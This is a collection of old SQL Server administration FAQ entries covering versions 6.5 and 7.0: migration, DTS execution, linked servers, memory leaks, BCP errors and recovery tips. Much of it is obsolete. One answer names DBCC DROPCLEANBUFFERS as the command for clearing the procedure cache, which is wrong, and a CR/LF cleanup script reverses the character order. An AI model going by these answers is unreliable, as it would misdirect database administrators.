How can I migrate from Access to SQL Server?

Q. How can I migrate from Access to SQL Server?

A. To start with use the free Access upsizing wizard on MS's website. It works from Access 97 to SQL 6.5 or 7.0. It is available at http://www.microsoft.com/AccessDev/ProdInfo/AUT97dat.htm

If you are using Access 2000 then the Access Upsizing tool that ships as part of Office 2000 only supports SQL 7.0.

There are also some 3rd party-products :-

http://www.weirperf.com
http://www.ssw.com.au SSW Upsize PRO! (97 and 2000)


Q. What does "bufdiscard: WARNING, page xx (dbid n, bp 0xzzzzzzzz) has stat0x10080(), skipping" mean?

A. This message can safely be ignored. It just says that the SQL lazy writer has found a page in an inappropriate state - this can happen, typically on SMP machines. It doesn't indicate there is a problem.

The message is suppressed in later versions of SQL Server.


Can I replicate/connect/whatever to SQL Server over the Internet?

Q. Can I replicate/connect/whatever to SQL Server over the Internet?

A. The Internet is nothing more or less than a large tcp-ip wan (wide-area network). And a wide-area network works the same as a lan (local-area network) just slower. So yes, anything you can do with SQL Server on the network in your office you can do over the internet, assuming you HAVE CONNECTIVITY to the internet. All issues are networking related not SQL related. The servers at either end must be able to connect to the internet either directly or via RAS. In the case of RAS you can use RASDIAL.EXE to automate connections as necessary.

Issues are :-

1. Internet is tcp-ip only, so you must run tcp-ip on your clients and the server(s)
2. Physical connectivity. Do you have a routed/dial-up connection to the internet? Are these routes being passed transparently into your internal network? You need to be able to PING <remote ip address> and PING <remote servername> from your local client/server and vice-versa.
3. Security. You should really use a firewall for any internet connection. Is this configured to allow your SQL traffic through? See firewall.txt in the FAQ for more info on port numbers for the various net-libs.
4. Name-resolution. You can address the remote server(s) by IP address directly, but the better method is to put an entry in your local hosts file (<NT>\SYSTEM32\DRIVERS\ETC) or DNS/WINS server. Then put this name in your connection string.


Q. How can I get ISQL.EXE to return a DOS errorlevel for me to test?

A. Use the RAISERROR command with the following criteria :-

1. Run ISQL with the -b option
2. Set the message severity to greater than 10
3. Set the message state to 127

i.e.

isql -E -Q"RAISERROR ('set errorlevel 11',11,127)" -b
if errorlevel 11 goto failed

Note that also you need to be running the SQL 6.5 SP5a version of ISQL.EXE. Microsoft broke the returning of error information under certain circumstances and didn't make the fix public until this release.


Q. What programming languages can I write an extended stored-procedure in?

A. The official Microsoft answer is that you can only write them in C. Certainly VB doesn't work.

Also Delphi 4 and 5 will work. Delphi Magazine had an article about this in Issue 31. There is a source code download for that issue available on their site - http://www.itcecuk.com


Q. Does SQL Server 7.0 support XML?

A. No, the next major release (not servicepack) of SQL Server should have XML support.


Q. Where can I get details on the layout of the TDS protocol that SQL Server uses to talk to clients?

A. Microsoft don't publish any information on the TDS protocol unfortunately, so your choices are :-

1. Network trace and parse/reverse engineer the packets yourself. To help with this the Network Monitor 2.0 tool that comes with SMicrosoft 2.0 has a TDS parser with it, so this formats packets in the trace for you.

2. Several people have done such reverse engineering for the portions of TDS they needed and have reported it's not that difficult. Once such is the FreeTDS project that is reverse engineering the TDS specification and is currently implementing CTLIB, DBLIB, and JDBC interfaces for TDS. ODBC and Perl DBD drivers are planned. The FreeTDS JDBC driver is a type 4 driver and should work on any JVM. The CTLIB and DBLIB interfaces are known to compile under AIX, Linux, and FreeBSD without any problems. More info from http://sunsite.unc.edu/freetds/ . The mailing list archive can be viewed at http://franklin.oit.unc.edu/cgi-bin/lyris.pl?enter=freetds. Source-code can be downloaded from ftp://freetds.internetcds.com/pub/freetds_dbd/. Or http://metalab.unc.edu/freetds/download.html


Q. Why can't I use a GO in a stored-procedure?

A. GO is not a T-SQL command. It is a batch delimiter but it is parsed and processed by the front end query tool - e.g. ISQL, OSQL, ISQL/W etc.

When the front-end sees a go it sends the previous batch of SQL to SQL Server for processing. SQL Server never sees the go command and wouldn't understand it if it did.


Q. Can SQL Server backup to a tape unit on another server?

A. No - SQL doesn't support remote tapes. It can only enumerate and use devices that are local as far as NT is concerned (if an NT level driver was able to make a remote tape look locally attached then SQL Server would be able to use it).

You can always dump the SQL database to disk locally (or to a network share - see networkdrivebackup.txt for details) and then back that up to tape.

Some 3rd party backup tools that work with SQL Server agents offer this sort of functionality because they get the data from SQL Server via a standard named-pipe or VDI interface and then use their own drivers to write the backup.

Examples are :-

BEI Ultrabac www.ultrabac.com
CAI Arcserve www.cai.com/arcserve
Legato www.legato.com
Backup Exec www.veritas.com
ADSM www.tivoli.com

===

v1.01 2000.02.04
Applies to SQL Server versions : All
Related FAQ articles : networkdrivebackup
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. How can I restore a single table in SQL 7?

A. You can't directly - LOAD TABLE is no longer supported. You will have to restore the database dump to a different server/database and then extract out the table in question using DTS/BCP.

You CAN restore a single file with SQL 7 though so if you place a table in a file on it's own then you'll be able to restore it. For SAP systems with 1000's of tables the admin of having separate files would be a nightmare though!


Q. How can I calculate someone's age in SQL Server?

A.

select CASE
WHEN dateadd(year, datediff (year, d1, d2), d1) > d2
THEN datediff (year, d1, d2) - 1
ELSE datediff (year, d1, d2)
END as Age


Q. Where can I get the ANSI92 SQL information from.

A. This is information is only available from ANSI themselves and as far as I know is only available on paper (to discourage piracy). They charge for the information - they have to have some form of income stream after all.

More information can be had from their web-site www.ansi.org

Or try http://www.cssinfo.com/cgi-bin/detail?product_id=40071

Or you can get an overview for FIPS from http://www.itl.nist.gov/fipspubs/fip127-2.htm


Q. Why do I get arithmetic overflows and 'string truncated' errors with SQL 7? I didn't with 6.5.

A. Look up the SET ANSI_WARNINGS ON/OFF command/option in the Books Online. To meet ANSI standards the default for this is on.

When it is on any numeric summarisation function with a NULL will get an error. Also trying to fit 23 characters in a 20 byte field will get the error.

Either fix the code concerned (the best option) or turn the warnings off.


Q. Why do I get an "UNEXPECTED EOF" message in BCP?

A. Basically because the file layout does not match that which you've told BCP.

If you have a native 6.5 format file then make sure you specify the -6 option on the 7.0 version of BCP.

Otherwise, use a hex-editor to open the file and check the layout. Look especially for missing carriage-returns and line-feeds. e.g. UNIX files use just a linefeed (LF, 0x0A) as a record terminator. NT used a carriage return plus linefeed (CR+LF, 0x0D0A).


Q. Should I use char or varchar? What are the advantages?

A. There's no "right" answer to the above as it depends on your data and the access profile.

If your field is fixed length or is almost fixed - i.e. it is either 8 or 9 characters then stick to char.

If the field is heavily updated and this causes the row-size to change then you're probably better off with varchar.

If your data is VERY variable in length or may often be blank then the advantage from using varchar is that smaller overall rowlengths give more rows per page and therefore faster performance when retrieving/scanning multiple consecutive rows.

Many people still think that updating varchars causes a deferred update rather than in-place and for this reason don't advise their use for updateable columns. This has not been true since SQL 4.x. With 6.0 and above as long as the updated column will still fit on the same page then the update is done directly and therefore the performance overhead is not massive. Note that there are different sorts of direct updates listed below in order of speed.

a) Direct update. Fixed columns only, less than half of row bits changed, 5 columns max.

b) Update-in-Place. Fixed or varchar, before and after row must be the same size, less that half the row bits changed.

c) On-page delete/insert. Any number of changes, but row must fit on same page.

If these don't apply then a full delete/insert must occur.


Q. How can I clear SQL Server's procedure cache?

A. With SQL 6.5 and below you can't. You have to stop/start SQL Server.

For SQL 7.0 DBCC DROPCLEANBUFFERS


Q. What registry entries does SQL Server's client use?

A. For all 32-bit clients the following are used. For 16-bit Windows clients WIN.INI is used.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo

DSQUERY : REG_SZ : default protocol - defaults to named-pipes

Individual entries can then be overridden :-

FREDNP : REG_SZ : DBNMPNTW,\\SERVER\pipe\sql\query
FREDIP : REG_SZ : DBMSSOCN,10.1.1.1

etc.


Q. Why do I get NULL when adding/concatenating a NULL value with SQL 7? I didn't with 6.5.

A. Look up the SET concat_null_yields_null ON/OFF command/option in the Books Online. To meet ANSI standards the default for this is on.

When it is on SELECT 'abc' + NULL will be NULL. With it off you will get 'abc'

N.B. Even if you set this off at the database level be warned that it could be turned on again at the application level either through the ODBC DSN setting or the application configuration - e.g. Query Analyser turns this on by default and you have to turn it off via the file/configure menu otherwise it will override your database setting!


Q. How can I remove unwanted carriage-returns and line-feeds from a SQL table?

A. Here is a script courtesy of fellow MVP, Bob Pfeiff. Note, it will only get rid of one CRLF per column, so you may want to stick the update in loop and keep doing it until you get a zero rowcount.

--example on pubs database in SQL 7

--insert a row with a carriage return and line feed in it

insert authors (au_id, au_lname, au_fname, phone, contract)
values ( '111-34-3420', char(10) + char(13), 'john', '222 333-8899', 1)

--find the row with the cr/lf in it

select
*
from
authors
where
au_lname = char(10) + char(13)

--update the column with the cr/lf with an empty string

update
authors
set
au_lname = stuff(au_lname, patindex(char(10)+ char(13), au_lname), 2, '')
where
patindex(char(10) + char(13), au_lname) > 0

--look for the row with the cr/lf in it (should be gone)

select
*
from
authors
where
au_lname = char(10) + char(13)


Q. Is there a DATE function for SQL Server? I don't want to hold the time.

A. No, just datetime, but you can strip out the time (reset it to 00:00) using :-

select convert(datetime,convert(char(10),getdate(),101))


Q. How can I run a DTS package from within SQL Server - e.g. a stored-procedure?

A. A choice :-

1. Run from xp_cmdshell "dtsrun dtsfile"

2. You could probably get at the DTS package via DMO. No example of this.

3. Use sp_OA sp's. Example of this is below (courtesy of Bill Hodghead)

if exists (select * from sysobjects where id = object_id(N'[dbo].[sp_displayoaerrorinfo]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[sp_displayoaerrorinfo]
GO

if exists (select * from sysobjects where id = object_id(N'[dbo].[sp_displaypkgerrors]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[sp_displaypkgerrors]
GO

if exists (select * from sysobjects where id = object_id(N'[dbo].[sp_executepackage]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[sp_executepackage]
GO

create proc sp_displayoaerrorinfo
@object as int
as
Declare @hr int
DECLARE @output varchar(255)
DECLARE @source varchar(255)
DECLARE @description varchar(255)

PRINT 'OLE Automation Error Information'

EXEC @hr = sp_OAGetErrorInfo @object, @source OUT, @description OUT
IF @hr = 0
BEGIN
SELECT @output = ' Source: ' + @source
PRINT @output
SELECT @output = ' Description: ' + @description
PRINT @output
END

ELSE
BEGIN
PRINT ' sp_OAGetErrorInfo failed.'
RETURN
END
GO

create proc sp_displaypkgerrors
@pkg as int
as
declare @numsteps int
declare @steps int
declare @step int
declare @stepresult int
declare @pkgresult int
declare @hr int

select @pkgresult = 0

EXEC @hr = sp_OAGetProperty @pkg, 'Steps', @steps OUTPUT
IF @hr <> 0
BEGIN
print 'Unable to get steps'
EXEC sp_displayoaerrorinfo @pkg --, @hr
RETURN
END

EXEC @hr = sp_OAGetProperty @steps, 'Count', @numsteps OUTPUT
IF @hr <> 0
BEGIN
print 'Unable to get number of steps'
EXEC sp_displayoaerrorinfo @steps --, @hr
RETURN
END

while @numsteps > 0
Begin
EXEC @hr = sp_OAGetProperty @steps, 'Item', @step OUTPUT, @numsteps
IF @hr <> 0
BEGIN
print 'Unable to get step'
EXEC sp_displayoaerrorinfo @steps --, @hr
RETURN
END

EXEC @hr = sp_OAGetProperty @step, 'ExecutionResult', @stepresult OUTPUT
IF @hr <> 0
BEGIN
print 'Unable to get ExecutionResult'
EXEC sp_displayoaerrorinfo @step --, @hr
RETURN
END

select @numsteps = @numsteps - 1
select @pkgresult = @pkgresult + @stepresult
end

if @pkgresult > 0
print 'Package had ' + cast(@pkgresult as varchar) + ' failed step(s)'
else
print 'Packge Succeeded'

GO

create proc sp_executepackage
@packagename varchar(255), --package name, gets most recent version
@userpwd varchar(255) = Null, --login pwd
@intsecurity bit = 0, --use non-zero to indicate integrated security
@pkgPwd varchar(255) = '' --package password
as
declare @hr int
declare @object int

--create a package object
EXEC @hr = sp_OACreate 'DTS.Package', @object OUTPUT
if @hr <> 0
Begin
EXEC sp_displayoaerrorinfo @object --, @hr
RETURN
end

--load the package (ADD integrated security support)
declare @svr varchar(15)
declare @login varchar(15)
select @login = SUSER_NAME()
select @svr = HOST_NAME()
declare @flag int
select @flag = 0

if @intsecurity = 0
if @userpwd = Null
EXEC @hr = sp_OAMethod @object, 'LoadFromSqlServer',NULL, @ServerName=@svr, @ServerUserName=@login, @PackageName=@packagename, @Flags=@flag, @PackagePassword = @pkgPwd
-- ServerName As String, [ServerUserName As String], [ServerPassword As String], [Flags As DTSSQLServerStorageFlags = DTSSQLStgFlag_Default], [PackagePassword As String], [PackageGuid As String], [PackageVersionGuid As String], [PackageName As String], [pVarPersistStgOfHost])
else
EXEC @hr = sp_OAMethod @object, 'LoadFromSqlServer',NULL, @ServerName=@svr, @ServerUserName=@login, @PackageName=@packagename, @Flags=@flag, @PackagePassword = @pkgPwd, @ServerPassword = @userpwd
else
begin
select @flag = 256
EXEC @hr = sp_OAMethod @object, 'LoadFromSqlServer',NULL, @ServerName=@svr, @PackageName=@packagename, @Flags=@flag, @PackagePassword = @pkgPwd
end

IF @hr <> 0
BEGIN
print 'LoadFromSQLServer failed'
EXEC sp_displayoaerrorinfo @object --, @hr
RETURN
END

--execute it
EXEC @hr = sp_OAMethod @object, 'Execute'
IF @hr <> 0
BEGIN
print 'Execute failed'
EXEC sp_displayoaerrorinfo @object --, @hr
RETURN
END

--return the step errors as a recordset
exec sp_displaypkgerrors @object

-- unitialize the package
EXEC @hr = sp_OAMethod @object, 'UnInitialize'
IF @hr <> 0
BEGIN
print 'UnInitialize failed'
EXEC sp_displayoaerrorinfo @object --, @hr
RETURN
END

-- release the package object
EXEC @hr = sp_OADestroy @object
if @hr <> 0
Begin
EXEC sp_displayoaerrorinfo @object --, @hr
RETURN
end
GO


Q. Are there any examples of heterogeneous data queries from SQL 7 to other sources?

A. Here are a variety of examples for several different datasources. Note that you will have to change filenames, drives, regions etc. as necessary for your environment :-

1. Selecting from an Excel spreadsheet using OpenRowSet. Here, c:\ramsql7.xls is a spreadsheet (note we haven't specified the extension). sheet1 is a sheet within the spreadsheet - note the trailing $.

SELECT * FROM OpenRowSet
('MSDASQL', 'Driver=Microsoft Excel Driver (*.xls);DBQ=c:\ramsql7', 'SELECT * FROM [sheet1$]')
as a

2. Selecting from an Access linked server database via Jet. The Access database is at c:\msd\invent97.mdb

print 'add Jet 4.0 Invent'
-- Clear up old entry
if exists(select * from sysservers where srvname = N'INV')
exec sp_dropserver N'INV', N'droplogins'
go
-- create linked server
exec sp_addlinkedserver @server = N'INV', @srvproduct = '', @provider =
N'Microsoft.Jet.OLEDB.4.0', @datasrc = N'c:\msd\invent97.mdb'
go
-- setup default admin login for Access
exec sp_addlinkedsrvlogin @rmtsrvname = N'INV', @useself = N'FALSE',
@locallogin = NULL, @rmtuser = N'admin', @rmtpassword = N''
go
-- Lists all tables in the linked server
exec sp_tables_ex N'INV'
go
-- Now select from a table in the Access db called INVENT
select * from INV...INVENT
go

3. DB/2 accessed via Star SQL Driver with SNA 4.0.

print 'add DB2 LinkedServer'
if exists(select * from sysservers where srvname = N'DB2')
exec sp_dropserver N'DB2', N'droplogins'

exec sp_addlinkedserver @server = 'DB2', @provider = 'MSDASQL', @srvproduct
= 'StarSQL 32',
@location = 'DBT1', @datasrc = 'DB2IBM'
exec sp_addlinkedsrvlogin @rmtsrvname = 'DB2', @locallogin = 'sa', @useself
= 'false',
@rmtuser = 'HDRUSER' ,@rmtpassword = 'SQL7'
go

-- test to see is catalog is accesible
sp_tables_ex N'DB2'

-- create view to see if select works
create view V007MUNI as select * from DB2..T1ADM007.V007MUNI
go
select * from V007MUNI
go

4. DBASE IV

print 'add DBase IV LinkedServer'
if exists(select * from sysservers where srvname = N'DBFs')
exec sp_dropserver N'DBFs', N'droplogins'

EXEC sp_addlinkedserver
'DBFs',
'Jet 4.0',
'Microsoft.Jet.OLEDB.4.0',
'F:\DBFs',
NULL,
'dBase IV'
GO

exec sp_addlinkedsrvlogin
@rmtsrvname = 'DBFs',
@useself = false,
@locallogin = NULL,
@rmtuser = NULL,
@rmtpassword = NULL
go

SELECT * FROM DBFs...test
go

5. Visual FoxPro. Using a FoxPro DBC file to group the DBF files. ODBC DSN pre-defined called FOX using the Microsoft Visual FoxPro Driver 6.01.8440.01

-- FOX using Visual FoxPro Database file .DBC
print 'add FOXSERVER'
if exists(select * from sysservers where srvname = N'FOXSERVER')
exec sp_dropserver N'FOXSERVER', N'droplogins'

exec sp_addlinkedserver @server=N'FOXSERVER',
@srvproduct ='',
@provider = N'MSDASQL',
@datasrc=N'FOX'

exec sp_addlinkedsrvlogin @rmtsrvname=N'FOXSERVER',
@useself = N'FALSE',
@locallogin = NULL,
@rmtuser = N'',
@rmtpassword =N''

exec sp_tables_ex N'FOXSERVER'

select * from [FOXSERVER].[D:\SQL\FOX\TESTDATA.DBC]..[customer]

6. FoxPro using plain DBF files in a directory. Using an ODBC system DSN (Called DBF) using the Microsoft Visual FoxPro Driver 6.01.8440.01

-- DBF using plain .DBF files
print 'add DBFSERVER'
if exists(select * from sysservers where srvname = N'DBFSERVER')
exec sp_dropserver N'DBFSERVER', N'droplogins'

exec sp_addlinkedserver @server=N'DBFSERVER',
@srvproduct ='',
@provider = N'MSDASQL',
@datasrc=N'DBF'

exec sp_addlinkedsrvlogin @rmtsrvname=N'DBFSERVER',
@useself = N'FALSE',
@locallogin = NULL,
@rmtuser = N'',
@rmtpassword =N''

exec sp_tables_ex N'DBFSERVER'

select * from [DBFSERVER].[D:\SQL\DBF]..[country]

7. FoxPro using installable Jet 3.51 ISAM drivers.

print 'add FOXDBC using Jet 3.51'
if exists(select * from sysservers where srvname = N'FOXDBC')
exec sp_dropserver N'FOXDBC', N'droplogins'
exec sp_addlinkedserver 'FOXDBC', 'Jet 3.51', 'Microsoft.Jet.OLEDB.3.51',
'c:\sql\fox', NULL, 'FoxPro 3.0'
exec sp_addlinkedsrvlogin @rmtsrvname = N'FOXDBC', @useself = N'FALSE',
@locallogin = NULL, @rmtuser = NULL, @rmtpassword = NULL
exec sp_helplinkedsrvlogin N'FOXDBC'
exec sp_tables_ex N'FOXDBC'


Q. Why am I getting a message 'The Enterprise Edition server component cannot be installed on Windows NT Server using this CD.' installing SQL 7?

A. You are trying to install SQL 7 Enterprise Edition on an ordinary copy of NT Server. You can only install SQL 7 EE on NT EE.

This may be due to you getting a mis-labelled set of MSDN disks.


Q. Can I load a SQL 6.5 dump or device file into SQL 7?

A. No and no.

If you have a SQL 6.5 dump file then you will have to load it into a SQL 6.5 server first.

If you have a device file then you will have to install SQL 6.5 and then DISK REINIT and REFIT (details in the books online) it into SQL 6.5.

The ONLY ways to transfer SQL 6.x databases into SQL 7.0 are :-

1. Use the Upgrade Wizard. This is the best option. It requires a running SQL 6.5 system to extract from.

2. Use the DTS object copy tools in SQL 7.0 to copy objects from SQL 6.5. Note this doesn't copy defaults/constraints etc.

3. Script the SQL 6.5 database using SQL EM scripting. Re-create it using the script on SQL 7.0. Use BCP to copy the data.


Q. How do I know which version of MDAC I am running?

A. Check the following table :-

MDAC version Msdadc.dll Oledb32.dll
------------------- --------------- ---------------
MDAC 1.5c 1.50.3506.0 N/A
MDAC 2.0 2.0.3002.4 2.0.1706.0
MDAC 2.0 SP1 2.0.3002.23 2.0.1706.0
MDAC 2.0 SP2 2.0.3002.23 2.0.1706.0
MDAC 2.1.0.3513.2 (SQL 7 / 6.5 SP5a) 2.10.3513.0 2.10.3513.0
MDAC 2.1.1.3711.6 (Internet Explorer 5) 2.10.3711.2 2.10.3711.2
MDAC 2.1.1.3711.11 (GA) 2.10.3711.2 2.10.3711.9


Q. Does SQL Server have memory leaks? How can I tell?

A. Generally speaking SQL Server doesn't have much of a problem with memory leaks and it is almost always other programs/drivers that cause the problem. For specifics on known SQL Server bugs causing memory leaks see the end of the faq entry. It's always a good idea to apply the latest service pack if you haven't already - MS do fix these bugs as soon as they find them.

Remember that SQL Server will grab memory for it's data cache up to the amount you have specified via sp_configure. This is in 2K pages (for SQL 6.5) and in 1MB chunks for SQL 7.0 and above. This amount does not include any amount for tempdb in ram (6.5 and below only - SQL 7.0 and above don't support tempdb in ram) or for the SQL kernel and some other internal memory structures. It would not be unusual for the SQL kernel and other memory structures to use an extra 10-20MB of ram. In addition to this it also requires o/s buffers and memory for things like BULK INSERT, OLE/COM programs etc. These don't come out of the memory that SQL allocates for data cache.

Therefore if you configured SQL Server to use a maximum of 50MB ram, then don't worry until the memory allocated to sqlservr.exe goes over, say, 70MB.

With SQL 7.0 the default is to dynamically allocate memory - though you can set an upper limit if you wish. SQL Server 7.0 will keep grabbing memory, up to the set limit (default no limit), until NT tells it that other processes need the memory. On a dedicated machine this won't happen, so it is not unusual for SQL 7.0 to seem to keep grabbing more and more memory.

After reading the above explanations, if you still think you have a memory leak then run performance monitor and select the processes object. Choose all running processes (make sure everything you normally run is going at the time) and for these choose the paged pool, non-paged pool and virtual bytes objects. Put these on a chart or log with a long interval period. Monitor these objects over time to see what always increases. If it is SQL Server (sqlservr.exe) continues increasing above the maximum memory (+20MB) it should have allocated then it may be responsible for a memory leak. You could also check for handles and threads always increasing as these could also potentially be leaking - and running out of these is just as bad as running out of memory.

You can also get these parameters from task manager - go into the process view, choose view columns and add the relevant columns.

If no processes in task manager/perfmon show a memory leak, but the overall memory is still going up, then the leak must be down at the kernel level. To trace this use the poolmon.exe program. Instructions to use this are in Microsoft Technet and the Microsoft knowledge base site - just search for poolmon.

-----------------------------------

Known memory leak issues :-

1. If you are running the Novell network client v4.5 or above on the server then you may experience a memory leak. Go back to version 4.11 to resolve. (I don't know whether this is an Microsoft bug or a Novell one).

2. SQL 7.0 RTM had a couple of leaks that were resolved in SP1.

3. If you do 1000's of BULK INSERT's then you will notice a fairly significant memory leak with SQL 7.0 RTM and SP1. This will be fixed in 7.0 SP2. (Or contact Microsoft PSS for a post-SP1 hot-fix)

4. SQL 6.5. If you utilise performance counters and connect using the local computer name then a leak may occur in WinLogon.exe. (NT Performance monitor doesn't cause the problem). See Q249343 for more information. The problem will be fixed in 6.5 SP6.

5. If you use xp_cmdshell with the @attached_results option on SQL 6.5 then this leaks memory. Contact MS PSS or apply SP6 (when available)


Q. Can I install SQL 7 and MSDE on the same machine?

A. No. MSDE *is* SQL Server. So you can't have both on the same machine. For info on the types of SQL Server see the sql7versions.txt member in the faq.


Q. I am trying to upgrade MSDE to full SQL Server and getting an error 'You cannot install a version which is older (7.00.623) than the version on your machine (7.00.677). Un-install the older version.'

A. This is due to an incorrect version number being put in the registry by the version of MSDE that came with the Office 2000 developer edition.

To fix this problem and allow setup to work amend "HKEY_LOCAL_MACHINE/Software/Microsoft/MSSQLServer/MSSQLServer/CurrentVersion" to have a value of 7.00.623.

For more details see Q234915


Q. Can I create SQL Server databases on network drives?

A. First ask yourself what your reason is for doing this? Your performance will be degraded and you will be more prone to database corruption due to network glitches (which are far more common than scsi/fibre bus glitches). Putting i/o's across a network (even a fast, switched, network) is typically orders of magnitude slower than via scsi/fibre and the latency is a lot longer. If you don't have a dedicated switched connection then you may get slowdowns caused by contention with other traffic.

SQL Server currently has no concept of sharing a database that is held on a.n.other server. Only one server can access the database file at any one time - the exception being that multiple SQL Servers could probably open a read-only database on a shared-drive. Therefore there is no advantage to having it on a "network drive" - it can only be backed-up/accessed from the server running SQL Server anyway.

If the reason for wanting SQL databases on a network drive is to keep all your storage central, then you can't achieve this anyway as you can't boot NT from a network drive, so you would still need disks in local servers for NT, pagefiles etc. And these should be protected via hardware raid as the loss of an NT disk will prevent users getting at your databases just as much as the loss of a disk containing the database itself.

Now saying that it IS possible to store databases on network drives as long as SQL is fooled into thinking they are in fact local drives. Under 6.5 you must map a drive letter to a network share - UNC paths will not work. With SQL 7.0 UNC paths will work as long as you use trace flag 1807.

There is more information on this in Q196904. This describes the support being allowed in SQL 7.0 for use against Network Appliance networked raid units only. Note that these will suffer the same performance penalties as if you were accessing a network share on an NT box, as effectively that is what they are. These boxes run a proprietary operating system on an embedded Alpha chip that talks the SMB protocol required to handle NT-style network file-io. They connect to the LAN via a standard Ethernet interface.

If you want centralised storage a better method is to use a shared-scsi/fibre disk array - these can be attached to servers via scsi or fibre connectors and can achieve distances of up to 20Km using optical extenders. These arrays can support up to 64 or so separate servers and are sold by Digital (Compaq) Storageworks and EMC amongst others. Although it is a "single raid unit", each server sees a physically separate set of "disks" - the partitioning logic in the raid array can allow different servers to use the same physical disks but they are logically partitioned and the different servers cannot see this and see their storage as dedicated. There is no sharing of data at the partition/file/database level.

Another method is to use a SAN - storage area network. These are fibre or copper based "networks" of storage and/or backup devices. The "network" is dedicated for data access. Each attached device is usually fibre-channel based, or is scsi with an appropriate connector. Each device may be able to be partitioned into sets of available resources (disk/tape), but each resource can currently only be allocated to a single server attached to the "network". Servers attach to a SAN with a SAN "nic" card. As SAN technology matures it may be possible to share resources between multiple servers, but this needs changes to the NT kernel as well as the SAN/fibre drivers.


Q. Should I apply NT 4.0 SP5 to my SQL Server system?

A. NT Service Packs do not have any shared code that affects the SQL Server kernel, so application of NT service packs should be independent of SQL Server and should be applied based on the stability or otherwise of your NT system - plus it's exposure to security exploits, denial-of-service etc. And there are a LOT of these fixed in NT4 SP5.

Always check with your hardware vendor and any suppliers of 3rd party device drivers, systems management, virus checkers etc. that they support SP5 and application of the SP won't stop the server from booting! In particular there are issues with Adaptec and Compaq Array controllers that arose starting with SP4 (For Compaq Smart IIP controllers make sure your firmware as at least version 3.08). If you have some identical/similar hardware on less critical or test systems, then apply the SP to these first. For Compaq servers as a whole you need to be on at least SSD 2.11.

However, SQL Server does tend to stress the hardware/memory/pci bus/disk subsystem and could therefore expose a bug/compatibilty problem between the NT kernel and the hardware or 3rd party hardware device drivers. Therefore it is technically possible for it to expose a bug in an NT driver that doesn't otherwise show itself.


Q. I can't see the SQL performance counters in PerfMon. What could be wrong?

A. It could be a variety of things.

1. Sometimes rebuilding the registry for 6.5 and below fixes the problem. From the <sql>\binn directory run the following, making sure the case is correct

setup /t RegistryRebuild = On

The setup routine will now run and ask you all the normal questions. Answer these as if you were performing the install again (same paths etc.) and it will just update all the registry entries/icons etc. It will leave the databases alone.

2. For SQL 7 try unloading and reloading the counters

unlodctr.exe MSSQLServer
lodctr.exe <sql>\BINN\sqlctr.ini

3. For 6.5 machines running on NT 4.0 it could be a permissions problem.

To work around this problem, use Regedit.exe to grant READ access to the
following key of the target machine:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer

Grant this to those wanting SQL counter access. As when granting any NT
access permission, you can grant based on an individual user or a group.

4. PSS ID Number: Q137899
Article last modified on 04-15-1997

6.0 4.21a

WINDOWS

======================================================================
----------------------------------------------------------------------
The information in this article applies to:

- Microsoft Windows NT Server versions 3.5 and 3.51
- Microsoft SQL Server, versions 4.21a & 6.0
----------------------------------------------------------------------
Bug#: 11370 (6.00)

SYMPTOMS
========

If Performance Monitor fails one or more of the following symptoms occur:

- SQL Counters are not located in the Object list.

- If you are auditing logins, the following type of error is logged:

Login failed - User. \ Reason: Not defined as a valid user
of a trusted SQL Server connection.

CAUSE
=====

The use of Performance Monitor can fail when:

- Viewing SQL Counters from a remote client.

OR

- The Probe password is not NULL.

OR

- SQL Server is listening on an alternate pipe.

WORKAROUND
==========

Set up SQL Server to use standard security because you cannot force or
"unforce" a trusted connection. Make sure SQL Server is listening on the
default pipe and the Probe password is NULL.

If you need to continue the integrated connection, simply add an advanced
connection to the SQL Server computer, pointing back to itself. That is,
use the SQL Server Client Configuration Utility to create an advanced
entry that is the same name as the SQL Server computer itself, using named
pipes and connecting to '\\.\pipe\sql\query'.


Q. How do I connect to SQL Server from PERL?

A. There is a choice :-

a. SybPerl (Note that SybPerl is designed for Sybase really so you may have the same compatibility problems as with CT-Lib). http://www.mbay.net/~mpeppler
b. A SQL Server port of the above. http://www.algonet.se/~sommar/mssqlperl/index.html
c. ODBC using the ODBC extension http://www.roth.net/odbc/
d. If the version of Perl has COM extensions then you can use ADO
e. Search www.perl.com for any other code available on the standard CPAN sites. (e.g. DBD::ODBC). For more info on DBI/DBD see http://www.symbolstone.org/technology/perl/DBI/index.html


Q. Where does SQL server store the permissions on tables?

A. For SQL 6.5 and below this is held in <dbname>..sysprotects.

For 7.0 and above <dbname>..syspermissions.


Q. Why can't I use RCMD.EXE via xp_cmdshell from SQL Server?

A. For any access to "network resources" you need to run SQL Server under a user account and not the default LocalSystem account. You can check what userid that MSSQLSERVER is running under by looking at control panel/services highlighting MSSQLSERVER and choosing the start-up option. This should be changed as necessary.

Without this change you will get an "error 5 - Access denied".

However, RCMD.EXE doesn't seem to work even with this change. This is due to the way that RCMD in the NT resource kit is coded - it is probably expecting there to be a keyboard/mouse defined in the user context, which there isn't.

So the short answer is that unless you use a version of rcmd.exe without this restriction then it won't work.


Q. I have a corrupt log file - can I rebuild it?

A. Yes you can, but any un-committed transactions will be lost. This command is unsupported and undocumented so should be used with caution. It works on SQL 6.5 - whether it works on 7.0 is unknown.

dbcc rebuildlog (@dbname, 1, 0)


Q. How can I recover data from a SQL table that is corrupt with a bad page/pointer?

A. Assuming only one page is bad, then it isn't too bad. If there are lots then this process must be amended to do random selects above the low key to find the next good page each time.

1) Do a SELECT key FROM table, and note the last key value (low key) returned when it fails.
2) Do a SELECT key FROM table ORDER BY key DESC, and note the last key (high key) again.
3) Create a "dummy" table with the same structure
4) Insert rows into the "dummy" table with key values less than or equal to the low key.
5) Insert rows into the "dummy" table with key values greater than or equal to the high key.


Q. How can I clear a table and reset the identity back to 0?

A. If there are no foreign keys on the table then a simple TRUNCATE TABLE <tbl> will do the trick.

If there are foreign keys then first delete all rows - DELETE <tbl>

Then reset the identity :-

Under 7.0 - DBCC CHECKIDENT(<tbl>,RESEED,0)

Under 6.5 - DBCC CHECKIDENT(<tbl>)


Q. Why would I get a message "Retrying row fetch:rowoffset entry n out of range (pg% obj%, db %)" from SQL Server?

A. You may also see :- "spid % Getrow: rowoffset entry %(%) out of range (pg% obj%, db %)"

